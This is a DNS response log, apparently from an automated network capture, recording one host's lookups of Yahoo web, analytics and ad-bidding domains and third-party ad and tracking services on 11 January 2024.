Jan 11, 2024 00:26:29.692318916 CET	1.1.1.1	192.168.2.4	0x8178	No error (0)	udc-ats.media.g03.yahoodns.net		66.218.87.15	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:29.694885015 CET	1.1.1.1	192.168.2.4	0xb514	No error (0)	udc.yahoo.com	udc-ats.media.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:26:41.562143087 CET	1.1.1.1	192.168.2.4	0xfd37	Name error (3)	y.analytics.yahoo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:44.701843977 CET	1.1.1.1	192.168.2.4	0x63d	Name error (3)	y.analytics.yahoo.com	none	none	65	IN (0x0001)	false
Jan 11, 2024 00:26:44.703448057 CET	1.1.1.1	192.168.2.4	0x6a64	Name error (3)	y.analytics.yahoo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:44.827553034 CET	1.1.1.1	192.168.2.4	0xa2b5	Name error (3)	y.analytics.yahoo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:58.489043951 CET	1.1.1.1	192.168.2.4	0xbaa4	Name error (3)	y.analytics.yahoo.com	none	none	65	IN (0x0001)	false
Jan 11, 2024 00:26:58.489229918 CET	1.1.1.1	192.168.2.4	0xabb2	Name error (3)	y.analytics.yahoo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:58.641093969 CET	1.1.1.1	192.168.2.4	0x2b64	Name error (3)	y.analytics.yahoo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:07.772173882 CET	1.1.1.1	192.168.2.4	0x3d6	No error (0)	www.yahoo.com	me-ycpi-cf-www.g06.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:07.772173882 CET	1.1.1.1	192.168.2.4	0x3d6	No error (0)	me-ycpi-cf-www.g06.yahoodns.net		69.147.92.11	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:07.772173882 CET	1.1.1.1	192.168.2.4	0x3d6	No error (0)	me-ycpi-cf-www.g06.yahoodns.net		69.147.92.12	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:07.774116039 CET	1.1.1.1	192.168.2.4	0x9e6b	No error (0)	www.yahoo.com	me-ycpi-cf-www.g06.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:08.593226910 CET	1.1.1.1	192.168.2.4	0x822b	No error (0)	search.yahoo.com	ds-global3.l7.search.ystg1.b.yahoo.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:08.593226910 CET	1.1.1.1	192.168.2.4	0x822b	No error (0)	ds-global3.l7.search.ystg1.b.yahoo.com		66.218.84.137	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:08.594343901 CET	1.1.1.1	192.168.2.4	0x8f43	No error (0)	search.yahoo.com	ds-global3.l7.search.ystg1.b.yahoo.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:09.014000893 CET	1.1.1.1	192.168.2.4	0xa732	No error (0)	edge-mcdn.secure.yahoo.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:09.014000893 CET	1.1.1.1	192.168.2.4	0xa732	No error (0)	edge.gycpi.b.yahoodns.net		69.147.92.12	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:09.014000893 CET	1.1.1.1	192.168.2.4	0xa732	No error (0)	edge.gycpi.b.yahoodns.net		69.147.92.11	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:09.014833927 CET	1.1.1.1	192.168.2.4	0x40e9	No error (0)	edge-mcdn.secure.yahoo.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:09.376769066 CET	1.1.1.1	192.168.2.4	0x1a4a	No error (0)	guce.yahoo.com	real.rotation.guce.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:09.376769066 CET	1.1.1.1	192.168.2.4	0x1a4a	No error (0)	real.rotation.guce.aws.oath.cloud	prod-rotation-v2.guce.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:09.376769066 CET	1.1.1.1	192.168.2.4	0x1a4a	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		52.45.116.182	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:09.376769066 CET	1.1.1.1	192.168.2.4	0x1a4a	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		52.3.5.18	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:09.376769066 CET	1.1.1.1	192.168.2.4	0x1a4a	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		52.72.162.68	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:09.376769066 CET	1.1.1.1	192.168.2.4	0x1a4a	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		44.196.189.149	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:09.376769066 CET	1.1.1.1	192.168.2.4	0x1a4a	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		54.204.7.47	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:09.376769066 CET	1.1.1.1	192.168.2.4	0x1a4a	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		54.174.208.248	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:09.376769066 CET	1.1.1.1	192.168.2.4	0x1a4a	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		44.194.194.66	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:09.376769066 CET	1.1.1.1	192.168.2.4	0x1a4a	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		54.211.79.25	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:09.377146959 CET	1.1.1.1	192.168.2.4	0x675a	No error (0)	guce.yahoo.com	real.rotation.guce.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:09.377146959 CET	1.1.1.1	192.168.2.4	0x675a	No error (0)	real.rotation.guce.aws.oath.cloud	prod-rotation-v2.guce.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:09.912045956 CET	1.1.1.1	192.168.2.4	0x2587	No error (0)	guce.yahoo.com	real.rotation.guce.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:09.912045956 CET	1.1.1.1	192.168.2.4	0x2587	No error (0)	real.rotation.guce.aws.oath.cloud	prod-rotation-v2.guce.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:09.912508011 CET	1.1.1.1	192.168.2.4	0xcd2a	No error (0)	guce.yahoo.com	real.rotation.guce.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:09.912508011 CET	1.1.1.1	192.168.2.4	0xcd2a	No error (0)	real.rotation.guce.aws.oath.cloud	prod-rotation-v2.guce.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:09.912508011 CET	1.1.1.1	192.168.2.4	0xcd2a	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		44.197.150.98	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:09.912508011 CET	1.1.1.1	192.168.2.4	0xcd2a	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		54.224.39.17	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:09.912508011 CET	1.1.1.1	192.168.2.4	0xcd2a	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		44.194.194.66	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:09.912508011 CET	1.1.1.1	192.168.2.4	0xcd2a	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		44.194.129.44	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:09.912508011 CET	1.1.1.1	192.168.2.4	0xcd2a	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		44.197.104.89	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:09.912508011 CET	1.1.1.1	192.168.2.4	0xcd2a	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		44.196.189.149	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:09.912508011 CET	1.1.1.1	192.168.2.4	0xcd2a	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		54.210.86.31	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:09.912508011 CET	1.1.1.1	192.168.2.4	0xcd2a	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		35.173.29.190	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:11.017128944 CET	1.1.1.1	192.168.2.4	0x66cb	No error (0)	hb.yahoo.net		23.55.243.202	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:11.017128944 CET	1.1.1.1	192.168.2.4	0x66cb	No error (0)	hb.yahoo.net		23.55.243.219	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:11.017128944 CET	1.1.1.1	192.168.2.4	0x66cb	No error (0)	hb.yahoo.net		23.55.243.210	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:11.017128944 CET	1.1.1.1	192.168.2.4	0x66cb	No error (0)	hb.yahoo.net		23.55.243.213	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:11.017128944 CET	1.1.1.1	192.168.2.4	0x66cb	No error (0)	hb.yahoo.net		23.55.243.218	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:11.017128944 CET	1.1.1.1	192.168.2.4	0x66cb	No error (0)	hb.yahoo.net		23.55.243.216	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:11.017128944 CET	1.1.1.1	192.168.2.4	0x66cb	No error (0)	hb.yahoo.net		23.55.243.208	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:11.017128944 CET	1.1.1.1	192.168.2.4	0x66cb	No error (0)	hb.yahoo.net		23.55.243.211	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:11.068303108 CET	1.1.1.1	192.168.2.4	0xa95f	No error (0)	opus.analytics.yahoo.com	cs964.wpc.9465e.mucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:11.068303108 CET	1.1.1.1	192.168.2.4	0xa95f	No error (0)	cs964.wpc.9465e.mucdn.net	cs964199420.wpc.mucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:11.068303108 CET	1.1.1.1	192.168.2.4	0xa95f	No error (0)	cs964199420.wpc.mucdn.net		152.199.24.48	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:11.070128918 CET	1.1.1.1	192.168.2.4	0xafab	No error (0)	opus.analytics.yahoo.com	cs964.wpc.9465e.mucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:11.070128918 CET	1.1.1.1	192.168.2.4	0xafab	No error (0)	cs964.wpc.9465e.mucdn.net	cs964199420.wpc.mucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:11.651477098 CET	1.1.1.1	192.168.2.4	0x50f5	No error (0)	ups.analytics.yahoo.com	prod.ups-ats.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:11.651477098 CET	1.1.1.1	192.168.2.4	0x50f5	No error (0)	prod.ups-ats.aolp-ds-prd.aws.oath.cloud	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:11.651477098 CET	1.1.1.1	192.168.2.4	0x50f5	No error (0)	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:11.651477098 CET	1.1.1.1	192.168.2.4	0x50f5	No error (0)	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		34.200.65.202	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:11.651477098 CET	1.1.1.1	192.168.2.4	0x50f5	No error (0)	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		3.225.218.10	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:11.651977062 CET	1.1.1.1	192.168.2.4	0xdb17	No error (0)	ups.analytics.yahoo.com	prod.ups-ats.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:11.651977062 CET	1.1.1.1	192.168.2.4	0xdb17	No error (0)	prod.ups-ats.aolp-ds-prd.aws.oath.cloud	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:11.651977062 CET	1.1.1.1	192.168.2.4	0xdb17	No error (0)	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:11.793224096 CET	1.1.1.1	192.168.2.4	0xbb7f	No error (0)	prebid.media.net		34.120.63.153	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:11.797353983 CET	1.1.1.1	192.168.2.4	0x2a07	No error (0)	c2shb-oao.ssp.yahoo.com	web-oao.ssp.yahoo.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:11.797353983 CET	1.1.1.1	192.168.2.4	0x2a07	No error (0)	web-oao.ssp.yahoo.com	web-oao.one-mobile-prod.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:11.797353983 CET	1.1.1.1	192.168.2.4	0x2a07	No error (0)	web-oao.one-mobile-prod.aws.oath.cloud	ssp-ats-prod-us-east-1.one-mobile-prod.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:11.797353983 CET	1.1.1.1	192.168.2.4	0x2a07	No error (0)	ssp-ats-prod-us-east-1.one-mobile-prod.aws.oath.cloud		3.92.156.8	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:11.797353983 CET	1.1.1.1	192.168.2.4	0x2a07	No error (0)	ssp-ats-prod-us-east-1.one-mobile-prod.aws.oath.cloud		34.236.83.94	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:11.797353983 CET	1.1.1.1	192.168.2.4	0x2a07	No error (0)	ssp-ats-prod-us-east-1.one-mobile-prod.aws.oath.cloud		3.230.217.116	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:11.797353983 CET	1.1.1.1	192.168.2.4	0x2a07	No error (0)	ssp-ats-prod-us-east-1.one-mobile-prod.aws.oath.cloud		52.4.33.45	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:11.797418118 CET	1.1.1.1	192.168.2.4	0xc9b6	No error (0)	c2shb-oao.ssp.yahoo.com	web-oao.ssp.yahoo.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:11.797418118 CET	1.1.1.1	192.168.2.4	0xc9b6	No error (0)	web-oao.ssp.yahoo.com	web-oao.one-mobile-prod.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:11.797418118 CET	1.1.1.1	192.168.2.4	0xc9b6	No error (0)	web-oao.one-mobile-prod.aws.oath.cloud	ssp-ats-prod-us-east-1.one-mobile-prod.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:11.798355103 CET	1.1.1.1	192.168.2.4	0x527f	No error (0)	m.hb.yahoo.net		34.111.85.214	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:11.901499033 CET	1.1.1.1	192.168.2.4	0x9a57	No error (0)	rtb-cache.hb.yahoo.net		34.110.207.99	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:11.964874983 CET	1.1.1.1	192.168.2.4	0xe270	No error (0)	www.yahoo.com	me-ycpi-cf-www.g06.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:11.964874983 CET	1.1.1.1	192.168.2.4	0xe270	No error (0)	me-ycpi-cf-www.g06.yahoodns.net		69.147.92.12	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:11.964874983 CET	1.1.1.1	192.168.2.4	0xe270	No error (0)	me-ycpi-cf-www.g06.yahoodns.net		69.147.92.11	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:11.966052055 CET	1.1.1.1	192.168.2.4	0x7ce7	No error (0)	www.yahoo.com	me-ycpi-cf-www.g06.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:12.023175001 CET	1.1.1.1	192.168.2.4	0x1b87	No error (0)	securepubads.g.doubleclick.net	securepubads46.g.doubleclick.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:12.023175001 CET	1.1.1.1	192.168.2.4	0x1b87	No error (0)	securepubads46.g.doubleclick.net		172.253.122.156	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:12.023175001 CET	1.1.1.1	192.168.2.4	0x1b87	No error (0)	securepubads46.g.doubleclick.net		172.253.122.155	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:12.023583889 CET	1.1.1.1	192.168.2.4	0x7087	No error (0)	securepubads.g.doubleclick.net	securepubads46.g.doubleclick.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:12.401051044 CET	1.1.1.1	192.168.2.4	0x6190	No error (0)	hb.yahoo.net		23.55.243.211	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:12.401051044 CET	1.1.1.1	192.168.2.4	0x6190	No error (0)	hb.yahoo.net		23.55.243.201	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:12.401051044 CET	1.1.1.1	192.168.2.4	0x6190	No error (0)	hb.yahoo.net		23.55.243.202	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:12.401051044 CET	1.1.1.1	192.168.2.4	0x6190	No error (0)	hb.yahoo.net		23.55.243.210	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:12.401051044 CET	1.1.1.1	192.168.2.4	0x6190	No error (0)	hb.yahoo.net		23.55.243.218	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:12.401051044 CET	1.1.1.1	192.168.2.4	0x6190	No error (0)	hb.yahoo.net		23.55.243.213	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:12.401051044 CET	1.1.1.1	192.168.2.4	0x6190	No error (0)	hb.yahoo.net		23.55.243.216	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:12.401051044 CET	1.1.1.1	192.168.2.4	0x6190	No error (0)	hb.yahoo.net		23.55.243.208	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:12.508872032 CET	1.1.1.1	192.168.2.4	0x26bd	No error (0)	ups.analytics.yahoo.com	prod.ups-ats.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:12.508872032 CET	1.1.1.1	192.168.2.4	0x26bd	No error (0)	prod.ups-ats.aolp-ds-prd.aws.oath.cloud	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:12.508872032 CET	1.1.1.1	192.168.2.4	0x26bd	No error (0)	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:12.508872032 CET	1.1.1.1	192.168.2.4	0x26bd	No error (0)	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		34.200.65.202	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:12.508872032 CET	1.1.1.1	192.168.2.4	0x26bd	No error (0)	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		3.225.218.10	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:12.508910894 CET	1.1.1.1	192.168.2.4	0x16dd	No error (0)	ups.analytics.yahoo.com	prod.ups-ats.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:12.508910894 CET	1.1.1.1	192.168.2.4	0x16dd	No error (0)	prod.ups-ats.aolp-ds-prd.aws.oath.cloud	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:12.508910894 CET	1.1.1.1	192.168.2.4	0x16dd	No error (0)	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:13.035300016 CET	1.1.1.1	192.168.2.4	0xaf75	No error (0)	lg1.hb.yahoo.net		23.44.133.4	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:13.035300016 CET	1.1.1.1	192.168.2.4	0xaf75	No error (0)	lg1.hb.yahoo.net		23.44.133.9	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:13.035300016 CET	1.1.1.1	192.168.2.4	0xaf75	No error (0)	lg1.hb.yahoo.net		23.44.133.30	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:13.035300016 CET	1.1.1.1	192.168.2.4	0xaf75	No error (0)	lg1.hb.yahoo.net		23.44.133.10	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:13.035300016 CET	1.1.1.1	192.168.2.4	0xaf75	No error (0)	lg1.hb.yahoo.net		23.44.133.42	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:13.035300016 CET	1.1.1.1	192.168.2.4	0xaf75	No error (0)	lg1.hb.yahoo.net		23.44.133.51	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:13.035300016 CET	1.1.1.1	192.168.2.4	0xaf75	No error (0)	lg1.hb.yahoo.net		23.44.133.48	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:13.035300016 CET	1.1.1.1	192.168.2.4	0xaf75	No error (0)	lg1.hb.yahoo.net		23.44.133.62	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:13.185879946 CET	1.1.1.1	192.168.2.4	0x1bfb	No error (0)	pixel.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:13.187216043 CET	1.1.1.1	192.168.2.4	0xc4fd	No error (0)	pixel.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:13.197295904 CET	1.1.1.1	192.168.2.4	0xf451	No error (0)	match.adsrvr.org		15.197.193.217	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:13.197295904 CET	1.1.1.1	192.168.2.4	0xf451	No error (0)	match.adsrvr.org		35.71.131.137	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:13.197295904 CET	1.1.1.1	192.168.2.4	0xf451	No error (0)	match.adsrvr.org		3.33.220.150	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:13.197295904 CET	1.1.1.1	192.168.2.4	0xf451	No error (0)	match.adsrvr.org		52.223.40.198	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:13.204612017 CET	1.1.1.1	192.168.2.4	0x42	No error (0)	cs.media.net		23.205.72.21	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:13.209317923 CET	1.1.1.1	192.168.2.4	0x6f8e	No error (0)	api.taboola.com	tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:13.209317923 CET	1.1.1.1	192.168.2.4	0x6f8e	No error (0)	tls13.taboola.map.fastly.net		151.101.129.44	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:13.209317923 CET	1.1.1.1	192.168.2.4	0x6f8e	No error (0)	tls13.taboola.map.fastly.net		151.101.65.44	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:13.209317923 CET	1.1.1.1	192.168.2.4	0x6f8e	No error (0)	tls13.taboola.map.fastly.net		151.101.1.44	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:13.209317923 CET	1.1.1.1	192.168.2.4	0x6f8e	No error (0)	tls13.taboola.map.fastly.net		151.101.193.44	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:13.210825920 CET	1.1.1.1	192.168.2.4	0x1b7	No error (0)	api.taboola.com	tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:13.611774921 CET	1.1.1.1	192.168.2.4	0x6f18	No error (0)	s.yimg.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:13.611774921 CET	1.1.1.1	192.168.2.4	0x6f18	No error (0)	edge.gycpi.b.yahoodns.net		69.147.92.11	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:13.611774921 CET	1.1.1.1	192.168.2.4	0x6f18	No error (0)	edge.gycpi.b.yahoodns.net		69.147.92.12	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:13.612715960 CET	1.1.1.1	192.168.2.4	0x9a68	No error (0)	s.yimg.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:13.716782093 CET	1.1.1.1	192.168.2.4	0x809f	No error (0)	lg1.hb.yahoo.net		23.44.133.19	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:13.716782093 CET	1.1.1.1	192.168.2.4	0x809f	No error (0)	lg1.hb.yahoo.net		23.44.133.20	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:13.716782093 CET	1.1.1.1	192.168.2.4	0x809f	No error (0)	lg1.hb.yahoo.net		23.44.133.30	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:13.716782093 CET	1.1.1.1	192.168.2.4	0x809f	No error (0)	lg1.hb.yahoo.net		23.44.133.9	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:13.716782093 CET	1.1.1.1	192.168.2.4	0x809f	No error (0)	lg1.hb.yahoo.net		23.44.133.51	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:13.716782093 CET	1.1.1.1	192.168.2.4	0x809f	No error (0)	lg1.hb.yahoo.net		23.44.133.48	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:13.716782093 CET	1.1.1.1	192.168.2.4	0x809f	No error (0)	lg1.hb.yahoo.net		23.44.133.33	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:13.716782093 CET	1.1.1.1	192.168.2.4	0x809f	No error (0)	lg1.hb.yahoo.net		23.44.133.10	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:13.757271051 CET	1.1.1.1	192.168.2.4	0xa5ac	No error (0)	tsdtocl.com		151.101.129.44	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:13.757271051 CET	1.1.1.1	192.168.2.4	0xa5ac	No error (0)	tsdtocl.com		151.101.65.44	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:13.757271051 CET	1.1.1.1	192.168.2.4	0xa5ac	No error (0)	tsdtocl.com		151.101.1.44	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:13.757271051 CET	1.1.1.1	192.168.2.4	0xa5ac	No error (0)	tsdtocl.com		151.101.193.44	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:13.839462042 CET	1.1.1.1	192.168.2.4	0xa230	No error (0)	api.taboola.com	tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:13.839462042 CET	1.1.1.1	192.168.2.4	0xa230	No error (0)	tls13.taboola.map.fastly.net		151.101.1.44	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:13.839462042 CET	1.1.1.1	192.168.2.4	0xa230	No error (0)	tls13.taboola.map.fastly.net		151.101.65.44	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:13.839462042 CET	1.1.1.1	192.168.2.4	0xa230	No error (0)	tls13.taboola.map.fastly.net		151.101.129.44	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:13.839462042 CET	1.1.1.1	192.168.2.4	0xa230	No error (0)	tls13.taboola.map.fastly.net		151.101.193.44	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:13.839910984 CET	1.1.1.1	192.168.2.4	0x5dbb	No error (0)	api.taboola.com	tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:14.007472992 CET	1.1.1.1	192.168.2.4	0x106d	No error (0)	edge-mcdn.secure.yahoo.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:14.008100033 CET	1.1.1.1	192.168.2.4	0x7f95	No error (0)	edge-mcdn.secure.yahoo.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:14.008100033 CET	1.1.1.1	192.168.2.4	0x7f95	No error (0)	edge.gycpi.b.yahoodns.net		69.147.92.12	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:14.008100033 CET	1.1.1.1	192.168.2.4	0x7f95	No error (0)	edge.gycpi.b.yahoodns.net		69.147.92.11	A (IP address)	IN (0x0001)	false
